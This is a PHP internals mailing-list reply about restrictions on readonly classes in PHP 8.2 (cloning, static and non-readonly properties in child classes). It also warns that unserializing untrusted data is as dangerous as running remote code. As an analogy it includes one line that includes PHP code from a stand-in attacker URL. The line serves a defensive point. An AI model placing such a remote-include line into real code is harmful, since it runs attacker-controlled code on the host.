2022年9月3日(土) 2:31 Nicolas Grekas <nicolas.grekas+...@gmail.com>:
> Hello everybody, hi Mate > > I played with readonly classes recently, to add support for them to > lazy-loading proxy generation and I struggled upon what I see as serious > issues. > > As noted in the RFC, and because the readonly flag must be set on child > classes, those cannot: > > 1. Declare a new non-readonly property; > 2. Have static properties; > 3. Have dynamic properties. > > I figured out 1. and 2. not by reading the RFC but because I needed those > capabilities in the generated inheritance proxies. > > 1. is the most serious one: being able to declare a non-readonly property > is the only way to implement a cloneable proxy (to be allowed to do > $this->realInstance = clone $this->realInstance; in __clone()). I think > there are two ways to solve the use case I have: A. fix the > non-cloneability of readonly props or B. allow child classes to add > non-readonly properties. Because to me this is a serious restriction, A or > B should ideally be in 8.2. I think A is a must-have so that might be the > thing to do. But I'm also wondering about B: the RFC doesn't contain any > rationale about why this restriction exists (it says "Similarly how > overriding of readonly properties works", but the similarity is quite weak, > readonly props don't apply to other properties of child classes.) If there > is no compelling reason to have this limitation, it should be removed IMHO. > Basically, this would mean that child classes of readonly classes wouldn't > have to be readonly themselves (but the existing properties on the parent > would have to be of course.) > > For 2.: static properties are useful e.g. to cache some shared state (info > extracted from reflection in my case) and I really don't see why readonly > classes should forbid static properties. Readonly is only useful for > instances, because it gives them immutability, but what's the link with > static properties? Note that this is less important than the previous point > as it's always possible to store shared global state in another class. But > still, this feels arbitrary to me. > > For 3. I just noted the limitation to be exhaustive, but I'm really fine if > dynamic properties remain forbidden on child classes. It might be seen as > inconsistent with other classes, but dynamic properties don't have any > purpose anyway since there is always an alternative to them. > > I understand there are good intentions behind these limitations (making PHP > a stricter language). But here, I feel like this is detrimental to the > language, by making it a minefield of kinda arbitrary dos and don'ts. At > least that's what I feel here. > > Does that make sense to you? Should we remove the limitations I mention? > > Nicolas > PS: About allowing readonly props to be reinitialized during cloning, I > tried https://github.com/php/php-src/pull/9403 but I failed as I can't > make > it work. I'd appreciate any help on the topic. I'd even be happy to close > if someone else would like to work on the topic. Could that be you? > In general, unserializing external serialised data is the same as "Read and execute remote PHP code", i.e. include(' http://attacker.example.com/evil.php'); (Executing arbitrary code via memory corruption is trivial task with unserialize()) Therefore, developers must validate serialized data integrity at least with HMAC always, so that serialized data is generated by trustworthy systems (your servers usually. Since HMAC does not have forward security, HKDF with expiration info is recommended.) If these restrictions are for security, then these restrictions won't protect anything. If these are for misuse protections, then these would be "nice to have". Just my .02
